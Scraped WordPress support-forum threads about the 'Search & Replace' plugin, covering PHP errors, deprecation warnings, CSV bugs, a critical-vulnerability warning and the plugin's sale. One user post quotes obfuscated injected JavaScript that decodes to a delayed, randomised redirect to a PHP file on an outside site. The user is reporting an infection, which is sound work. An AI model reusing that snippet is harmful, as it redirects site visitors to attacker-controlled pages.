Screenshot: https://ibb.co/LzhVcPH
]]>Wordfence is showing the following notification for Search & Replace.
The Plugin “Search & Replace” has a security vulnerability. Vulnerability Severity: 9.8/10.0 (Critical)
Am not able to find out any further details but have stopped using the plugin for now, hopefully this will be dealt with as the plugin otherwise is great.
]]>This plugin has saved me an amazing amount of time, but as of 7/16/24 it’s not working as well as it once did.
]]>I got this error when running a search and replace after cloning a website. I have done that hundreds of times before and it was never a problem. Any ideas?
]]>An error of type E_ERROR was caused on line number 355 of the file /home/MyDomain/public_html/wp-content/plugins/search-and-replace/inc/Database/Replace.php. Error message: Uncaught Error: The script tried to modify a property on an incomplete object. Please ensure that the class definition “ActionScheduler_SimpleSchedule” of the object you are trying to operate on was loaded before unserialize() gets called or provide an autoloader to load the class definition in /home/MyDomain/public_html/wp-content/plugins/search-and-replace/inc/Database/Replace.php:355
Stack trace: 0 /home/MyDomain/public_html/wp-content/plugins/search-and-replace/inc/Database/Replace.php(341): Inpsyde\SearchReplace\Database\Replace->recursive_unserialize_replace() 1 /home/MyDomain/public_html/wp-content/plugins/search-and-replace/inc/Database/Replace.php(222): Inpsyde\SearchReplace\Database\Replace->recursive_unserialize_replace() 2 /home/MyDomain/public_html/wp-content/plugins/search-and-replace/inc/Database/Replace.php(93): Inpsyde\SearchReplace\Database\Replace->replace_values() 3 /home/MyDomain/public_html/wp-content/plugins/search-and-replace/inc/Page/SearchReplace.php(214): Inpsyde\SearchReplace\Database\Replace->run_search_replace() 4 /home/MyDomain/public_html/wp-content/plugins/search-and-replace/inc/Page/SearchReplace.php(144): Inpsyde\SearchReplace\Page\SearchReplace->run_replace() 5 /home/MyDomain/public_html/wp-content/plugins/search-and-replace/inc/Page/Manager.php(50): Inpsyde\SearchReplace\Page\SearchReplace->save() 6 /home/MyDomain/public_html/wp-content/plugins/search-and-replace/inc/Page/Manager.php(125): Inpsyde\SearchReplace\Page\Manager->save() 7 /home/MyDomain/public_html/wp-includes/class-wp-hook.php(324): Inpsyde\SearchReplace\Page\Manager->render() 8 /home/MyDomain/public_html/wp-includes/class-wp-hook.php(348): WP_Hook->apply_filters() 9 /home/MyDomain/public_html/wp-includes/plugin.php(517): WP_Hook->do_action() 10 /home/MyDomain/public_html/wp-admin/admin.php(259): do_action() 11 /home/MyDomain/public_html/wp-admin/tools.php(40): require_once(‘/home/MyDomain…’) 12 {main} thrown
Complex urls like this cannot be either searched for or searched and repalced. i’ve tried putting in quote marks as well “”
“https://www.domain.com/?utm_source=myspecialcode&utm_medium=b&utm_campaign=r”
I have about 900 to change!!!
thank you for any help
]]>As of today, Search & Replace is not part of our family anymore!
We move the plugin to group.one a very reputable hosting company with ambitious goals in the WordPress Community. They also acquired WP Rocket and RankMath, both very popular WordPress Plugins with a high reputation.
We are very convinced, Search & Replace will be in good hands. Also, with BackWPup and Adminimize will switch ownership to them. Together with these 3 plugins, WP Rocket and RankMath, they want to create a powerful administrator suite for WordPress.
We wish, that the maintenance and development will more active and get a good solution for the community.
More information.
https://www.group.one/en/news/group-one-strengthens-wordpress-commitment-with-acquisition-of-backwpup
https://inpsyde.com/en/inpsyde-announces-sale-of-backwpup-adminimize-and-searchreplace/
Hi,
I’m using the search-and-replace Version: 3.2.1 – and I want to upgrade to PHP 8.1. while doing so I checked WordPress error log and I see several lines regarding the search-and-replace plugin:
PHP Deprecated: Optional parameter $replace declared before required parameter $table is implicitly treated as a required parameter in wp-content/plugins/search-and-replace/inc/Database/Exporter.php on line 295
PHP Deprecated: Optional parameter $replace declared before required parameter $table is implicitly treated as a required parameter in wp-content/plugins/search-and-replace/inc/Database/Replace.php on line 117
PHP Deprecated: Optional parameter $search declared before required parameter $table is implicitly treated as a required parameter in wp-content/plugins/search-and-replace/inc/Database/Exporter.php on line 295
PHP Deprecated: Optional parameter $search declared before required parameter $table is implicitly treated as a required parameter in wp-content/plugins/search-and-replace/inc/Database/Replace.php on line 117
Is there any ne version to fix it?
Thanks!
Ram
Deprecated: Required parameter $table follows optional parameter $search in
/volume1/web/XXXXXXXXXXX/wp-content/plugins/search-and-replace/inc/Database/Replace.php on line 117 Deprecated:
Required parameter $table follows optional parameter $search in /volume1/web/XXXXXXXXX/wp-content/plugins/search-and-replace/inc/Database/Exporter.php on line 295
Does anyone know a fix for this problem?
For the moment, I will deactivate it in my dashboard.
]]>I am aware that the plugin is not maintained currently:
+ I nevertheless post this bug report, in case some developer shows interest to take ownership. Possibly this report also helps to convince a developer to take over, because on WP 6.1.1:
+ It worked fast and reliably in regards to the replacement operation.
– But a bit buggy in terms of the diff-preview in the dry run:
REPRODUCTION:
– Wordress 6.1.1 > Tools > Search & Replace > Tab “Search & Replace”
– Search for: “://mydomain.com/wp-content/uploads/”
– Replace with: “://media.mydomain.com/”
– Run it as a dry run
– You get the amount of how many changes would occur.
– Click to show the details.
– This shows the changed tables/rows as section headlines and the performed changes in a diff view below (red for text gone, green for text inserted)
Bug: Strangely is also shows some “tables/rows with changes” as section headlines which do not have any changes shown below. Why list that table/row at all if it has no changes?
The database operation nevertheless only replaces in tables and rows where it really matched and left those “false positives of the preview” untouched.
]]>Hi there!
I have read that this plugin is not maintained… but as i think it’s a really great plugin and the only one with multi-line functionality which i have been able to find, ill ask about what i think is a bug…
When trying to replace with multi line, in test mode it only counts cells affected by the last line, and when running replace only this last line make changes
/old-slug/,/new-slug/
/bad-slug/,/good-slug/
With this example bad-slug is replaced but not old-slug (nor other line that is not the last one)
I would really appreciate if you could look for that issue!
Thanks in advance!
The code will be left in this SVN and also on
[github.com/inpsyde/search-and-replace](https://github.com/inpsyde/search-and-replace) if you are interested.
I am getting the following error when I attempt to DRY RUN search replace plugin…
“There has been a critical error on this website. Please check your site admin email inbox for instructions.”
]]>I found this code randomly added to the blog description:
search-<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}</script>and-replace/inpsyde-search-replace.php
It’s related to this plugin. There is a notification saying the plugin doesn’t exist and I can’t get rid of this error message. Tried everything, but no luck.
]]>Hi, do you still maintain this plugin?
The WP repository now says:
This plugin hasn’t been tested with the latest 3 major releases of WordPress. It may no longer be maintained or supported and may have compatibility issues when used with more recent versions of WordPress.
And because the last update is 2+ years ago, WordFence says
The Plugin “Search & Replace” appears to be abandoned. It was last updated 2 years 0 months ago and tested up to WordPress 5.2.11.
Thanks
JP
Hello,
I am creating a Disaster Recovery Planfor my WP site.
After site migration (file db) I need to run a search replace on several string and tables.
Using Search & Replace plugins with CVS is doing the job perfectly.
But it is manual and I would like to automatize the execution from a php script to update nightly the target DRP site.
Any clue/suggestion on how to include right class file and call correctly the SR function ?
Regards.
JP FOLL
Is this plugin still active and will it be updated for compatibility with WP 5.xx?
Thanks
]]>Hi..
I’m new to WordPress. My website previously used a Flash template and I have put off updating it for years until being brave enough to switch to a more friendly platform.
Anyway, I’ve managed to get things up and running with relative ease. However, I have just purchased an SSL certificate and updated some links in S&D.
However, I didn’t select all tables. I only selected wp_postmeta and it replaced several entries.
The website appears to be working properly, but when I do a dry run of all tables, the results show that 31,330 cells need to be updated.
Do I need to update all of these even though things seem to be working ok?
Thanks for any help ??
Nick
]]>Hello
How i can Backup & restore my database?
I used the csv for the first time and I got:
Dry run is selected. No changes were made to the database and no SQL file was written .
Warning: array_combine(): Both parameters should have an equal number of elements in ***/wp-content/plugins/search-and-replace/inc/Database/Replace.php on line 182
[repeated 43 times]
45 tables were processed. 1084 cells need to be updated.
View details
my params are:
/uploads/2019/01/,/uploads/
/uploads/2019/02/,/uploads/
/uploads/2019/03/,/uploads/
/uploads/2019/04/,/uploads/
/uploads/2019/05/,/uploads/
/uploads/2019/06/,/uploads/
/uploads/2019/07/,/uploads/
/uploads/2019/08/,/uploads/
and the highlighting in the preview is not working
Wp 5.5
Server architecture Linux 3.10.0-957.1.3.el7.x86_64 x86_64
Web server Apache
PHP version 7.4.8 (Supports 64bit values)
PHP SAPI cgi-fcgi
Database
Extension mysqli
Server version 5.6.44-86.0-log
Client version mysqlnd 7.4.8
Database collation utf8mb4_unicode_520_ci
Hope it helps
]]>I try to replace text in my database, I selected all the tables, tried also to select only one that is 5Mb of size, but it always tells me “Er heeft zich een kritische fout voorgedaan op je website. Controleer je postvak-in van je beheer-e-mailadres voor instructies.” If I check my admin email there is no mail and I cannot replace text?How should I solve this.
My PHP memory limit is already to the max 2048Mb.
Thanks for your answers.
Br,
Marc
Hi and thanks for your work!
In the tab “search & replace”, searching for “string.aaa.111” (is an example ?? ) give the results like:
“1 table was processed. 51 cells need to be updated.”
But if i search the same table by phpmyadmin, I can’t find the string “string.aaa.111”.
Clicking “View details” popup:
“Table: wp_sometinginvented Columns Changes: 51
Row Column Old value New value”
but no rows.
This is strange.
No server or plugin cache.
Cau you explain?
Thanks in advance.
If you need details, just ask.
Hi, I’m trying to change my affiliate ID in search and replace, they detect them but they don’t change, by the way it’s the amazon ID.
Can you give me some steps please?
Thanks. Greetings.
I get frequent 502 errors when running the plugin. Especially if I run a search in multiple tables.
It’s on a shielded test site so I’m not including a URL here.
(The site is on the latest WP and php versions.)
]]>I developed a client’s new Divi / WooCommerce website in a staging area at SiteGround and went live today with it. I’ve performed a “dry run” with Search & Replace to get rid of any references to the staging copy’s URL.
I’ve cleared my browser cache / history.
I’m still getting Internal Server Error messages whenever I attempt to go to the product catalog.
Here is what SiteGround tech support is telling me:
I have reviewed your case and was able to replicate the issue. While replicating I noticed the following error in the error logs:
[Mon Jun 29 14:24:45.352387 2020] [core:error] [pid 12458] [client 82.118.240.146:42984] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use ‘LimitInternalRecursion’ to increase the limit if necessary. Use ‘LogLevel debug’ to get a backtrace., referer: https://www.ddsugarwoodsfarm.com/shop-vermont-maple-products/
This indicates that there are too many redirects being performed and it reaches the limit set on the server.
]]>I would like to use this plugin but I can’t find it… nothing in the admin menu even though it’s active and I cleared caches / logged in and out. It hasn’t been updated in a year so I’m a little wary of it anyhow
]]>Hi,
I think this is a good Plugin, BUT – what do I have to do after processing the Changes?
I′m in the Position, that I developed a Site on a new Server which has a temporary Domain. For Example, all the Authors have this temp Domain in their E-Mail Adresses. So I searched and replaced them with the Live Domain Name in the “users” Table.
After processing the message was like “Tables has to be updated” – But no Button or anything to do so. When I do the “Test Mode” again – the Plugin does not find the temp Domain. But When I look in the Database or Backend – nothing changed.
What do I have to do?
PHP 7.3, MySQL 5.7. WP and Plugins up to date…
Thanks in advance
Best Mikkel
Is your plugin compatible with the product table?
]]>Afternoon,
Having an issue since using search and replace to change our URL from local to wp.jalcoweb.co.uk. Once the search and replace was complete the site all worked perfectly on the new URL but when trying to access the /wp-admin nothing happens and the screen just refreshes. Is this something anyone’s had before after replacing URL. It’s a Windows 2019 Server.Thanks
]]>Hello!
I have a problem with Search and Replace (which is BTW great and a big life-saver).
I get a “Seems was not possible to create the file for some reason.” error. It shows up when I try to download an SQL file, no matter which tab I’m on. I thought this may be some kind of folder permissions problem (wp-uploads?) as I’m using Ithemes security and a bit of my own hardening, but I can’t find the solution.
Can you please helP?
]]>PHP Warning: mysqli::__construct(): (HY000/2002): Connection refused in /path/to/wp-content/plugins/search-and-replace/inc/Database/Importer.php on line 39
PHP Warning: mysqli::multi_query(): Couldn't fetch mysqli in /path/to/wp-content/plugins/search-and-replace/inc/Database/Importer.php on line 43
PHP Warning: Inpsyde\SearchReplace\Database\Importer::import_sql(): Couldn't fetch mysqli in /path/to/wp-content/plugins/search-and-replace/inc/Database/Importer.php on line 53
PHP Warning: mysqli_close(): Couldn't fetch mysqli in /path/to/wp-content/plugins/search-and-replace/inc/Database/Importer.php on line 57
]]>